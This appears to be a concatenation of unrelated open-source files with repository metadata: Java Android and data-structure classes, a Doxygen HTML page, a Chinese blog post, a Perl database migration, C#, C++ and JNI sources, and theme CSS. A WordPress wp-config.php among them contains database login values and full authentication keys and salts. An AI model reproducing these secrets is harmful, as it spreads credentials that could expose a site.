public void setAliasInput(String alias) {
aliaseditText.setText(alias);
}
@Override
public void onClick(DialogInterface dialog, int which) {
if (mCallBack != null) {
Editable aliasEditable = aliaseditText.getText();
String value = aliasEditable != null ? aliaseditText.getText().toString().trim() : null;
if (value != null && value.length() < 1) {
value = null;
}
mCallBack.onAliasInput(value);
}
}
}
|
gabuzomeu/cityLibProject
|
cityLib/src/main/java/eu/ttbox/velib/ui/map/dialog/AliasInputDialog.java
|
Java
|
gpl-2.0
| 1,790
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<meta name="generator" content="Doxygen 1.8.6"/>
<title>PyGeo: Miembros del Namespace </title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="navtree.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="resize.js"></script>
<script type="text/javascript" src="navtree.js"></script>
<script type="text/javascript">
$(document).ready(initResizable);
$(window).load(resizeHeight);
</script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/search.js"></script>
<script type="text/javascript">
$(document).ready(function() { searchBox.OnSelectItem(0); });
</script>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
<tbody>
<tr style="height: 56px;">
<td style="padding-left: 0.5em;">
<div id="projectname">PyGeo
 <span id="projectnumber">1.0.0</span>
</div>
</td>
</tr>
</tbody>
</table>
</div>
<!-- end header part -->
<!-- Generado por Doxygen 1.8.6 -->
<script type="text/javascript">
var searchBox = new SearchBox("searchBox", "search",false,'Buscar');
</script>
<div id="navrow1" class="tabs">
<ul class="tablist">
<li><a href="index.html"><span>Página principal</span></a></li>
<li class="current"><a href="namespaces.html"><span>Namespaces</span></a></li>
<li><a href="annotated.html"><span>Clases</span></a></li>
<li><a href="files.html"><span>Archivos</span></a></li>
<li>
<div id="MSearchBox" class="MSearchBoxInactive">
<span class="left">
<img id="MSearchSelect" src="search/mag_sel.png"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
alt=""/>
<input type="text" id="MSearchField" value="Buscar" accesskey="S"
onfocus="searchBox.OnSearchFieldFocus(true)"
onblur="searchBox.OnSearchFieldFocus(false)"
onkeyup="searchBox.OnSearchFieldChange(event)"/>
</span><span class="right">
<a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a>
</span>
</div>
</li>
</ul>
</div>
<div id="navrow2" class="tabs2">
<ul class="tablist">
<li><a href="namespaces.html"><span>Lista de 'namespaces'</span></a></li>
<li class="current"><a href="namespacemembers.html"><span>Miembros del Namespace </span></a></li>
</ul>
</div>
<div id="navrow3" class="tabs2">
<ul class="tablist">
<li class="current"><a href="namespacemembers.html"><span>Todo</span></a></li>
<li><a href="namespacemembers_func.html"><span>Funciones</span></a></li>
<li><a href="namespacemembers_vars.html"><span>Variables</span></a></li>
</ul>
</div>
<div id="navrow4" class="tabs3">
<ul class="tablist">
<li><a href="namespacemembers.html#index_a"><span>a</span></a></li>
<li><a href="namespacemembers_b.html#index_b"><span>b</span></a></li>
<li><a href="namespacemembers_c.html#index_c"><span>c</span></a></li>
<li><a href="namespacemembers_d.html#index_d"><span>d</span></a></li>
<li><a href="namespacemembers_e.html#index_e"><span>e</span></a></li>
<li><a href="namespacemembers_f.html#index_f"><span>f</span></a></li>
<li><a href="namespacemembers_g.html#index_g"><span>g</span></a></li>
<li><a href="namespacemembers_h.html#index_h"><span>h</span></a></li>
<li><a href="namespacemembers_i.html#index_i"><span>i</span></a></li>
<li><a href="namespacemembers_j.html#index_j"><span>j</span></a></li>
<li><a href="namespacemembers_k.html#index_k"><span>k</span></a></li>
<li><a href="namespacemembers_l.html#index_l"><span>l</span></a></li>
<li><a href="namespacemembers_m.html#index_m"><span>m</span></a></li>
<li><a href="namespacemembers_n.html#index_n"><span>n</span></a></li>
<li><a href="namespacemembers_o.html#index_o"><span>o</span></a></li>
<li class="current"><a href="namespacemembers_p.html#index_p"><span>p</span></a></li>
<li><a href="namespacemembers_q.html#index_q"><span>q</span></a></li>
<li><a href="namespacemembers_r.html#index_r"><span>r</span></a></li>
<li><a href="namespacemembers_s.html#index_s"><span>s</span></a></li>
<li><a href="namespacemembers_t.html#index_t"><span>t</span></a></li>
<li><a href="namespacemembers_u.html#index_u"><span>u</span></a></li>
<li><a href="namespacemembers_v.html#index_v"><span>v</span></a></li>
<li><a href="namespacemembers_x.html#index_x"><span>x</span></a></li>
<li><a href="namespacemembers_y.html#index_y"><span>y</span></a></li>
<li><a href="namespacemembers_z.html#index_z"><span>z</span></a></li>
</ul>
</div>
</div><!-- top -->
<div id="side-nav" class="ui-resizable side-nav-resizable">
<div id="nav-tree">
<div id="nav-tree-contents">
<div id="nav-sync" class="sync"></div>
</div>
</div>
<div id="splitbar" style="-moz-user-select:none;"
class="ui-resizable-handle">
</div>
</div>
<script type="text/javascript">
$(document).ready(function(){initNavTree('namespacemembers_p.html','');});
</script>
<div id="doc-content">
<!-- window showing the filter options -->
<div id="MSearchSelectWindow"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
onkeydown="return searchBox.OnSearchSelectKey(event)">
<a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark"> </span>Todo</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark"> </span>Clases</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark"> </span>Namespaces</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark"> </span>Archivos</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark"> </span>Funciones</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark"> </span>Variables</a></div>
<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<iframe src="javascript:void(0)" frameborder="0"
name="MSearchResults" id="MSearchResults">
</iframe>
</div>
<div class="contents">
<div class="textblock">Lista de los miembros del namespace con enlace a los namespace de cada miembro:</div>
<h3><a class="anchor" id="index_p"></a>- p -</h3><ul>
<li>p
: <a class="el" href="namespaceGeodesia_1_1EMG_1_1CalcularOndulacion.html#a19d8fc2526777f6e500ae828781b82fa">Geodesia::EMG::CalcularOndulacion</a>
</li>
<li>pasos
: <a class="el" href="namespaceGNSS_1_1SatPositioning.html#ae97c87d6248222f8b87f8418c48a197a">GNSS::SatPositioning</a>
</li>
<li>Polar2Cartesian()
: <a class="el" href="namespaceProyecciones_1_1Polar2Cartesian.html#acd91bd4502275af61be645d3a5a909a3">Proyecciones::Polar2Cartesian</a>
</li>
<li>pos
: <a class="el" href="namespaceGNSS_1_1GNSSPositioning.html#a895f7a0c44fc72cc0eaaef62907d83b9">GNSS::GNSSPositioning</a>
</li>
<li>pos_sat
: <a class="el" href="namespaceGNSS_1_1GNSSPositioning.html#a0f13e3aa7849ca4b639f08fa3715db69">GNSS::GNSSPositioning</a>
</li>
</ul>
</div><!-- contents -->
</div><!-- doc-content -->
<!-- start footer part -->
<div id="nav-path" class="navpath"><!-- id is needed for treeview function! -->
<ul>
<li class="footer">Generado el Lunes, 23 de Marzo de 2015 10:57:10 para PyGeo por
<a href="http://www.doxygen.org/index.html">
<img class="footer" src="doxygen.png" alt="doxygen"/></a> 1.8.6 </li>
</ul>
</div>
</body>
</html>
|
tonihr/pyGeo
|
Documentacion/html/namespacemembers_p.html
|
HTML
|
gpl-2.0
| 8,512
|
Title: 2015年第二场雪
Date: 2015-11-22 18:33:52
Modified:2015-11-22 18:33:52
Category: Life
Tags: Life
Slug: 2015_snow
Authors: 李红春
Summary: 先是阴天,又是下雨,半个多月没有阳光了,所有的准备都是为了这场雪。第一次下雪的时候,在上海出差,错过了。等回来的时候,丝毫看不出下雪的痕迹。温度还是太高了,雪到地上都化成了水。这第二次的雪终于能在地上积起来了。
先是阴天,又是下雨,半个多月没有阳光了,所有的准备都是为了这场雪。
第一次下雪的时候,在上海出差,错过了。等回来的时候,丝毫看不出下雪的痕迹。
温度还是太高了,雪到地上都化成了水。这第二次的雪终于能在地上积起来了。
早晨起来,天光大亮,掀起窗帘看见对面楼顶上被积雪覆盖,树上也有斑斑白点。
推开窗户,凉气袭来,雪还在下着。下雪的时候,心情总是跟往常不同,
也许因为一年里也难得见几次雪。积雪把平日看到的东西都掩藏起来了,使
日复一日的单调生活发生变化,有了熟悉的陌生感。
有高中同学来北京。在北京工作的同学们聚在一起,聊。时间是魔术师,人是他手中的道具。



|
lihongchun2007/lihongchun2007.github.io-src
|
content/articles/2015_snow.md
|
Markdown
|
gpl-2.0
| 1,409
|
<?php
/**
* Grundeinstellungen für WordPress
*
* Zu diesen Einstellungen gehören:
*
* * MySQL-Zugangsdaten,
* * Tabellenpräfix,
* * Sicherheitsschlüssel
* * und ABSPATH.
*
* Mehr Informationen zur wp-config.php gibt es auf der
* {@link https://codex.wordpress.org/Editing_wp-config.php wp-config.php editieren}
* Seite im Codex. Die Zugangsdaten für die MySQL-Datenbank
* bekommst du von deinem Webhoster.
*
* Diese Datei wird zur Erstellung der wp-config.php verwendet.
* Du musst aber dafür nicht das Installationsskript verwenden.
* Stattdessen kannst du auch diese Datei als wp-config.php mit
* deinen Zugangsdaten für die Datenbank abspeichern.
*
* @package WordPress
*/
// ** MySQL-Einstellungen ** //
/** Diese Zugangsdaten bekommst du von deinem Webhoster. **/
/**
* Ersetze datenbankname_hier_einfuegen mit dem Namen
* mit dem Namen der Datenbank, die du verwenden möchtest.
*/
define('DB_NAME', 'newsletter-spraachen');
/**
* Ersetze benutzername_hier_einfuegen
* mit deinem MySQL-Datenbank-Benutzernamen.
*/
define('DB_USER', 'root');
/**
* Ersetze passwort_hier_einfuegen mit deinem MySQL-Passwort.
*/
define('DB_PASSWORD', 'root');
/**
* Ersetze localhost mit der MySQL-Serveradresse.
*/
define('DB_HOST', 'localhost');
/**
* Der Datenbankzeichensatz, der beim Erstellen der
* Datenbanktabellen verwendet werden soll
*/
define('DB_CHARSET', 'utf8mb4');
/**
* Der Collate-Type sollte nicht geändert werden.
*/
define('DB_COLLATE', '');
/**#@+
* Sicherheitsschlüssel
*
* Ändere jeden untenstehenden Platzhaltertext in eine beliebige,
* möglichst einmalig genutzte Zeichenkette.
* Auf der Seite {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
* kannst du dir alle Schlüssel generieren lassen.
* Du kannst die Schlüssel jederzeit wieder ändern, alle angemeldeten
* Benutzer müssen sich danach erneut anmelden.
*
* @since 2.6.0
*/
define('AUTH_KEY', 'n;Lm;=%|JI)Hbvc{9|i<0tTljZVYbl+$5qCbdcRz0sBvB75E,oI!CS]uT8(Ez ]V');
define('SECURE_AUTH_KEY', 'QlfN+hGe=dXYO-s-|:$>:T2#`Bev)1J6-49+ilC%:YC_Pns:-p|v|R{[UtSA23<2');
define('LOGGED_IN_KEY', '18sA4OI!P&7It;uxN4[mD$Fc-S+*$uM/w:OTV3_*^G+L`dt5Y47y7R`eB+OWA*xO');
define('NONCE_KEY', ')D]kBhLfR&^cI3kW?(A}UK+zp*Ew=Xti2u~sM{2H;-mL3z>+=]+=dp#J]wB0ej9~');
define('AUTH_SALT', 'Kz-h[AVI+N?n^oqw-!(Lg$,^b)XLb0gK16r1:pU|-uS&!BG^lw/TJsK%G;3*EF{v');
define('SECURE_AUTH_SALT', 'Q%||w^8Mc{RxH^* +SLLWg*4-=jpZ|sY`Z@SyS@c^FCr}`f<cRsFjSR9q[z/j*+V');
define('LOGGED_IN_SALT', '-ba{S>O?+:XT,3|AJ/IFY4P)6&+gaCuD<iI8DH%7lzhFS|8^U#uC%ypxn`!qte&_');
define('NONCE_SALT', '`_NL.z_ CKw&YC4iO=Ic`O- VkXX-GdPA%9)#;Sd`IMhGBU0XpQ]!]Jst}3v!K1 ');
/**#@-*/
/**
* WordPress Datenbanktabellen-Präfix
*
* Wenn du verschiedene Präfixe benutzt, kannst du innerhalb einer Datenbank
* verschiedene WordPress-Installationen betreiben.
* Bitte verwende nur Zahlen, Buchstaben und Unterstriche!
*/
$table_prefix = 'nl_';
/**
* Für Entwickler: Der WordPress-Debug-Modus.
*
* Setze den Wert auf „true“, um bei der Entwicklung Warnungen und Fehler-Meldungen angezeigt zu bekommen.
* Plugin- und Theme-Entwicklern wird nachdrücklich empfohlen, WP_DEBUG
* in ihrer Entwicklungsumgebung zu verwenden.
*
* Besuche den Codex, um mehr Informationen über andere Konstanten zu finden,
* die zum Debuggen genutzt werden können.
*
* @link https://codex.wordpress.org/Debugging_in_WordPress
*/
define('WP_DEBUG', false);
/* Das war’s, Schluss mit dem Bearbeiten! Viel Spaß beim Bloggen. */
/* That's all, stop editing! Happy blogging. */
/** Der absolute Pfad zum WordPress-Verzeichnis. */
if ( !defined('ABSPATH') )
define('ABSPATH', dirname(__FILE__) . '/');
/** Definiert WordPress-Variablen und fügt Dateien ein. */
require_once(ABSPATH . 'wp-settings.php');
|
chillinhen/sak-newsletter
|
wp-config.php
|
PHP
|
gpl-2.0
| 3,865
|
# @tag: convert_taxzone
# @description: Setzt Fremdschlüssel und andere constraints auf die Tabellen tax und taxkeys
# @depends: taxzone_charts
package SL::DBUpgrade2::convert_taxzone;
use strict;
use utf8;
use parent qw(SL::DBUpgrade2::Base);
sub run {
my ($self) = @_;
# extract all buchungsgruppen data
my $buchungsgruppen_query = <<SQL;
SELECT * from buchungsgruppen;
SQL
my $sth = $self->dbh->prepare($buchungsgruppen_query);
$sth->execute || $::form->dberror($buchungsgruppen_query);
$::form->{buchungsgruppen} = [];
while (my $ref = $sth->fetchrow_hashref("NAME_lc")) {
push @{ $::form->{buchungsgruppen} }, $ref;
}
$sth->finish;
# extract all tax_zone data
my $taxzone_query = <<SQL;
SELECT * from tax_zones;
SQL
$sth = $self->dbh->prepare($taxzone_query);
$sth->execute || $::form->dberror($taxzone_query);
$::form->{taxzones} = [];
while (my $ref = $sth->fetchrow_hashref("NAME_lc")) {
push @{ $::form->{taxzones} }, $ref;
}
$sth->finish;
# convert Buchungsgruppen to taxzone_charts if any exist
# the default swiss COA doesn't have any, for example
if ( scalar @{ $::form->{buchungsgruppen} } > 0 ) {
my $taxzone_charts_update_query;
foreach my $taxzone ( @{$::form->{taxzones}} ) {
foreach my $buchungsgruppe ( @{$::form->{buchungsgruppen}} ) {
my $id = $taxzone->{id};
my $income_accno_id = $buchungsgruppe->{"income_accno_id_$id"};
my $expense_accno_id = $buchungsgruppe->{"expense_accno_id_$id"};
# TODO: check if the variables have a value
$taxzone_charts_update_query .= "INSERT INTO taxzone_charts (taxzone_id, buchungsgruppen_id, income_accno_id, expense_accno_id) VALUES ('$taxzone->{id}', '$buchungsgruppe->{id}', $income_accno_id, $expense_accno_id);\n";
};
};
$self->db_query($taxzone_charts_update_query) if $taxzone_charts_update_query;
};
my $clean_buchungsgruppen_query = <<SQL;
alter table buchungsgruppen drop column income_accno_id_0;
alter table buchungsgruppen drop column income_accno_id_1;
alter table buchungsgruppen drop column income_accno_id_2;
alter table buchungsgruppen drop column income_accno_id_3;
alter table buchungsgruppen drop column expense_accno_id_0;
alter table buchungsgruppen drop column expense_accno_id_1;
alter table buchungsgruppen drop column expense_accno_id_2;
alter table buchungsgruppen drop column expense_accno_id_3;
SQL
$sth = $self->dbh->prepare($clean_buchungsgruppen_query);
$sth->execute || $::form->dberror($clean_buchungsgruppen_query);
return 1;
} # end run
1;
|
itkokot/ko-wim
|
sql/Pg-upgrade2/convert_taxzone.pl
|
Perl
|
gpl-2.0
| 2,702
|
/* Automatically generated codefile, Meridian
* Generated by magic, please do not interfere
* Please sleep well and do not smoke. Love, Sam */
using System;
using System.Linq;
using System.Text;
using System.Data.Linq;
using System.Collections.Generic;
using MySql.Data.MySqlClient;
using meridian.smolensk;
using meridian.smolensk.system;
using meridian.smolensk.proto;
using admin.web.common;
namespace meridian.smolensk.controller
{
public partial class meridian_vacancy_entry_categories : BaseUniversalController<vacancy_entry_categories>
{
public meridian_vacancy_entry_categories()
{
}
protected override admin.db.IDataService<vacancy_entry_categories> GetService()
{
return Meridian.Default.vacancy_entry_categoriesStore;
}
}
}
|
seavan/smoltoday
|
trunk/src/meridian.smolensk/controller/meridian_vacancy_entry_categories.cs
|
C#
|
gpl-2.0
| 788
|
// SHE library
// Copyright (C) 2012-2016 David Capello
//
// This file is released under the terms of the MIT license.
// Read LICENSE.txt for more information.
#ifndef SHE_SPRITE_SHEET_FONT_H
#define SHE_SPRITE_SHEET_FONT_H
#pragma once
#include "base/debug.h"
#include "base/string.h"
#include "gfx/rect.h"
#include "she/font.h"
#include "she/surface.h"
#include <vector>
namespace she {
class SpriteSheetFont : public Font {
public:
SpriteSheetFont() : m_sheet(nullptr) {
}
~SpriteSheetFont() {
ASSERT(m_sheet);
m_sheet->dispose();
}
void dispose() override {
delete this;
}
FontType type() override {
return FontType::kSpriteSheet;
}
int height() const override {
return getCharBounds(' ').h;
}
int charWidth(int chr) const override {
return getCharBounds(chr).w;
}
int textLength(const std::string& str) const override {
base::utf8_const_iterator it(str.begin()), end(str.end());
int x = 0;
while (it != end) {
x += charWidth(*it);
++it;
}
return x;
}
bool isScalable() const override {
return false;
}
void setSize(int size) override {
// Do nothing
}
void setAntialias(bool antialias) override {
// Do nothing
}
Surface* getSurfaceSheet() const {
return m_sheet;
}
gfx::Rect getCharBounds(int chr) const {
chr -= (int)' ';
if (chr >= 0 && chr < (int)m_chars.size())
return m_chars[chr];
else
return gfx::Rect();
}
static Font* fromSurface(Surface* sur) {
SpriteSheetFont* font = new SpriteSheetFont;
font->m_sheet = sur;
SurfaceLock lock(sur);
gfx::Rect bounds(0, 0, 1, 1);
while (font->findChar(sur, sur->width(), sur->height(), bounds)) {
font->m_chars.push_back(bounds);
bounds.x += bounds.w;
}
return font;
}
private:
bool findChar(const Surface* sur, int width, int height, gfx::Rect& bounds) {
gfx::Color keyColor = sur->getPixel(0, 0);
while (sur->getPixel(bounds.x, bounds.y) == keyColor) {
bounds.x++;
if (bounds.x >= width) {
bounds.x = 0;
bounds.y += bounds.h;
bounds.h = 1;
if (bounds.y >= height)
return false;
}
}
bounds.w = 0;
while ((bounds.x+bounds.w < width) &&
(sur->getPixel(bounds.x+bounds.w, bounds.y) != keyColor)) {
bounds.w++;
}
bounds.h = 0;
while ((bounds.y+bounds.h < height) &&
(sur->getPixel(bounds.x, bounds.y+bounds.h) != keyColor)) {
bounds.h++;
}
return !bounds.isEmpty();
}
private:
Surface* m_sheet;
std::vector<gfx::Rect> m_chars;
};
} // namespace she
#endif
|
tony/aseprite
|
src/she/common/sprite_sheet_font.h
|
C
|
gpl-2.0
| 2,666
|
/*******************************************************************************
*Copyright (c) 2012 Harrison Chapman.
*
*This file is part of Reverb.
*
* Reverb is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 2 of the License, or
* (at your option) any later version.
*
* Reverb is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Reverb. If not, see <http://www.gnu.org/licenses/>.
*
*Contributors:
* Harrison Chapman - initial API and implementation
*******************************************************************************/
#import "jni_core.h"
JNIEXPORT void JNICALL
Java_com_harrcharr_pulse_JNIUtil_deleteGlobalRef(
JNIEnv *jenv, jclass jcls, jlong gref) {
(*jenv)->DeleteGlobalRef(jenv, (jobject)gref);
}
|
hchapman/libpulse-android
|
src/main/jni/jni_util.c
|
C
|
gpl-2.0
| 1,141
|
/**
* Definition of SegmentTreeNode:
* public class SegmentTreeNode {
* public int start, end, count;
* public SegmentTreeNode left, right;
* public SegmentTreeNode(int start, int end, int count) {
* this.start = start;
* this.end = end;
* this.count = count;
* this.left = this.right = null;
* }
* }
*/
public class SegmentTreeQueryII {
/**
*@param root, start, end: The root of segment tree and
* an segment / interval
*@return: The count number in the interval [start, end]
*/
public int query(SegmentTreeNode root, int start, int end) {
if (root == null || start > end || end < root.start || start > root.end) {
return 0;
}
if (end > root.end) {
end = root.end;
}
if (start < root.start) {
start = root.start;
}
if (root.start == start && root.end == end) {
return root.count;
}
int mid = root.start + (root.end - root.start) / 2;
if (end <= mid) {
return query(root.left, start, end);
}
if (start >= mid + 1) {
return query(root.right, start, end);
}
return query(root.left, start, mid) + query(root.right, mid + 1, end);
}
}
|
tianlinliu/lintcode
|
SegmentTreeQueryII.java
|
Java
|
gpl-2.0
| 1,332
|
/*
* Copyright (C) 2012 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package ir.nikagram.messenger.volley.toolbox;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.LinkedList;
import java.util.List;
/**
* ByteArrayPool is a source and repository of <code>byte[]</code> objects. Its purpose is to
* supply those buffers to consumers who need to use them for a short period of time and then
* dispose of them. Simply creating and disposing such buffers in the conventional manner can
* considerable heap churn and garbage collection delays on Android, which lacks good management of
* short-lived heap objects. It may be advantageous to trade off some memory in the form of a
* permanently allocated pool of buffers in order to gain heap performance improvements; that is
* what this class does.
* <p>
* A good candidate user for this class is something like an I/O system that uses large temporary
* <code>byte[]</code> buffers to copy data around. In these use cases, often the consumer wants
* the buffer to be a certain minimum size to ensure good performance (e.g. when copying data chunks
* off of a stream), but doesn't mind if the buffer is larger than the minimum. Taking this into
* account and also to maximize the odds of being able to reuse a recycled buffer, this class is
* free to return buffers larger than the requested size. The caller needs to be able to gracefully
* deal with getting buffers any size over the minimum.
* <p>
* If there is not a suitably-sized buffer in its recycling pool when a buffer is requested, this
* class will allocate a new buffer and return it.
* <p>
* This class has no special ownership of buffers it creates; the caller is free to take a buffer
* it receives from this pool, use it permanently, and never return it to the pool; additionally,
* it is not harmful to return to this pool a buffer that was allocated elsewhere, provided there
* are no other lingering references to it.
* <p>
* This class ensures that the total size of the buffers in its recycling pool never exceeds a
* certain byte limit. When a buffer is returned that would cause the pool to exceed the limit,
* least-recently-used buffers are disposed.
*/
public class ByteArrayPool {
/** The buffer pool, arranged both by last use and by buffer size */
private List<byte[]> mBuffersByLastUse = new LinkedList<byte[]>();
private List<byte[]> mBuffersBySize = new ArrayList<byte[]>(64);
/** The total size of the buffers in the pool */
private int mCurrentSize = 0;
/**
* The maximum aggregate size of the buffers in the pool. Old buffers are discarded to stay
* under this limit.
*/
private final int mSizeLimit;
/** Compares buffers by size */
protected static final Comparator<byte[]> BUF_COMPARATOR = new Comparator<byte[]>() {
@Override
public int compare(byte[] lhs, byte[] rhs) {
return lhs.length - rhs.length;
}
};
/**
* @param sizeLimit the maximum size of the pool, in bytes
*/
public ByteArrayPool(int sizeLimit) {
mSizeLimit = sizeLimit;
}
/**
* Returns a buffer from the pool if one is available in the requested size, or allocates a new
* one if a pooled one is not available.
*
* @param len the minimum size, in bytes, of the requested buffer. The returned buffer may be
* larger.
* @return a byte[] buffer is always returned.
*/
public synchronized byte[] getBuf(int len) {
for (int i = 0; i < mBuffersBySize.size(); i++) {
byte[] buf = mBuffersBySize.get(i);
if (buf.length >= len) {
mCurrentSize -= buf.length;
mBuffersBySize.remove(i);
mBuffersByLastUse.remove(buf);
return buf;
}
}
return new byte[len];
}
/**
* Returns a buffer to the pool, throwing away old buffers if the pool would exceed its allotted
* size.
*
* @param buf the buffer to return to the pool.
*/
public synchronized void returnBuf(byte[] buf) {
if (buf == null || buf.length > mSizeLimit) {
return;
}
mBuffersByLastUse.add(buf);
int pos = Collections.binarySearch(mBuffersBySize, buf, BUF_COMPARATOR);
if (pos < 0) {
pos = -pos - 1;
}
mBuffersBySize.add(pos, buf);
mCurrentSize += buf.length;
trim();
}
/**
* Removes buffers from the pool until it is under its size limit.
*/
private synchronized void trim() {
while (mCurrentSize > mSizeLimit) {
byte[] buf = mBuffersByLastUse.remove(0);
mBuffersBySize.remove(buf);
mCurrentSize -= buf.length;
}
}
}
|
amirlotfi/Nikagram
|
app/src/main/java/ir/nikagram/messenger/volley/toolbox/ByteArrayPool.java
|
Java
|
gpl-2.0
| 5,410
|
/*
Theme Name: Hueman
Theme URI: http://alxmedia.se/themes/hueman/
Version: 1.4.1
Description: <a href="http://alxmedia.se/themes/hueman/">Hueman</a> is a responsive 100% high resolution theme for blogs and magazines. Unique toggle sidebars give a great browsing and reading experience on both tablet and mobile. The feature list is long: Unlimited topbar, header, footer and accent colors, unlimited widget areas, 0-2 sidebars to the left or right that can be uniquely specified for each page or post, 300px / 220px fixed width sidebars, 0-4 footer widget columns, almost zero layout images, related posts and post nav, featured story or slider, 10 post formats, good SEO, 3 flexible custom widgets, localisation support, social links, logo upload and many more useful admin panel features.
Author: Alexander Agnarson
Author URI: http://alxmedia.se
Tags: light, one-column, two-columns, three-columns, right-sidebar, left-sidebar, fluid-layout, fixed-layout, custom-colors, custom-menu, featured-images, flexible-header, full-width-template, post-formats, sticky-post, theme-options, threaded-comments, translation-ready
Copyright: (c) 2013 Alexander "Alx" Agnarson
License: GNU General Public License v3.0
License URI: http://www.gnu.org/licenses/gpl-3.0.html
*/
/*
WARNING! DO NOT EDIT THIS FILE!
To make it easy to update your theme, you should not edit the styles in this file. Instead use
a child theme to add your styles. You can copy a style from this file and paste it in the child
theme's style.css and it will override the style in this file. You have been warned! :)
*/
/* ------------------------------------------------------------------------- *
* Reset - http://meyerweb.com/eric/tools/css/reset/ v2.0 | 20110126
* ------------------------------------------------------------------------- */
html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote,
pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, img, ins, kbd, q, s,
samp, small, strike, strong, sub, sup, tt, var, b, u, i, center, dl, dt, dd, ol, ul, li,
fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td, article, aside,
canvas, details, embed, figure, figcaption, footer, header, hgroup, menu, nav, output, ruby,
section, summary, time, mark, audio, video { margin: 0; padding: 0; border: 0; font-size: 100%; font: inherit; vertical-align: baseline; }
article, aside, details, figcaption, figure, footer, header, hgroup, menu, nav, section { display: block; }
ol, ul { list-style: none; }
blockquote, q { quotes: none; }
blockquote:before, blockquote:after, q:before, q:after { content: ''; content: none; }
table { border-collapse: collapse; border-spacing: 0; }
/* ------------------------------------------------------------------------- *
* Base Styles
/* ------------------------------------------------------------------------- */
body { background: #eaeaea; font-size: 16px; line-height: 1.5em; color: #666; font-weight: 300; }
::selection { background: #3b8dbd; color: #fff; }
::-moz-selection { background: #3b8dbd; color: #fff; }
a { color: #3b8dbd; text-decoration: none; outline: 0; }
a:hover { color: #444; }
img { max-width: 100%; height: auto; }
a,
a:before,
a:after {
-webkit-transition-property: background color; -webkit-transition-duration: 0.2s; -webkit-transition-timing-function: ease;
-moz-transition-property: background color; -moz-transition-duration: 0.2s; -moz-transition-timing-function: ease;
-o-transition-property: background color; -o-transition-duration: 0.2s; -o-transition-timing-function: ease;
transition-property: background color; transition-duration: 0.2s; transition-timing-function: ease; }
a img {
-webkit-transition: opacity 0.2s ease;
-moz-transition: opacity 0.2s ease;
-o-transition: opacity 0.2s ease;
transition: opacity 0.2s ease; }
address,cite,em { font-style: italic; }
strong { font-weight: 600; }
.left,.alignleft { float: left; }
.right,.alignright { float: right; }
.aligncenter { margin-left: auto; margin-right: auto; }
/* base : clear
/* ------------------------------------ */
.clear { clear: both; display: block; overflow: hidden; visibility: hidden; width: 0; height: 0; }
.group:before, .group:after { content: ""; display: table; }
.group:after { clear: both; }
.group { zoom: 1; }
/* base : font awesome square size
/* ------------------------------------ */
.fa { width: 1em; text-align: center; }
/* base : fonts
/* ------------------------------------ */
body { font-family: "Titillium", Arial, sans-serif; }
@font-face {
font-family: 'Titillium';
src: url('fonts/titillium-light-webfont.eot');
src: url('fonts/titillium-light-webfont.svg#titillium-light-webfont') format('svg'),
url('fonts/titillium-light-webfont.eot?#iefix') format('embedded-opentype'),
url('fonts/titillium-light-webfont.woff') format('woff'),
url('fonts/titillium-light-webfont.ttf') format('truetype');
font-weight: 300;
font-style: normal;
}
@font-face {
font-family: 'Titillium';
src: url('fonts/titillium-lightitalic-webfont.eot');
src: url('fonts/titillium-lightitalic-webfont.svg#titillium-lightitalic-webfont') format('svg'),
url('fonts/titillium-lightitalic-webfont.eot?#iefix') format('embedded-opentype'),
url('fonts/titillium-lightitalic-webfont.woff') format('woff'),
url('fonts/titillium-lightitalic-webfont.ttf') format('truetype');
font-weight: 300;
font-style: italic;
}
@font-face {
font-family: 'Titillium';
src: url('fonts/titillium-regular-webfont.eot');
src: url('fonts/titillium-regular-webfont.svg#titillium-regular-webfont') format('svg'),
